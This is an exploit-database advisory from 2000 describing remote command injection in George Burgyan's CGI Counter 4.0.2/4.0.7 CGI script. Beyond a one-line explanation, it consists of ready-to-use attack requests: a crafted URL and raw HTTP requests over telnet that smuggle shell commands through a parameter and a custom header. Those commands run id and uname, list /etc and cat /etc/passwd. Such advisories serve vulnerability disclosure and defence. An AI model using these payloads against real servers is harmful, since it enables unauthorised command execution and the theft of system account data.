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George Burgyan CGI Counter 4.0.2/4.0.7 - Input Validation

🗓️ 15 May 2000 00:00:00Reported by Howard M. Kash IIIType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 24 Views

Remote command execution risk in George Burgyan CGI Counter due to input validation flaws.

Code
source: https://www.securityfocus.com/bid/1202/info

Due to unchecked code that handles user input in George Burgyan's CGI Counter, remote execution of arbitrary commands at the same privilege level as the web server it is running on is possible.

Examples:

http://target/cgi-bin/counterfiglet/nc/f=;echo;w;uname%20-a;id

> telnet target www
GET /cgi-bin/counterfiglet/nc/f=;sh%20-c%20"$HTTP_X" HTTP/1.0
X: pwd;ls -la /etc;cat /etc/passwd

> telnet target www
GET /cgi-bin/counter/nl/ord/lang=english(1);system("$ENV{HTTP_X}"); HTTP/1.0
X: echo;id;uname -a;w

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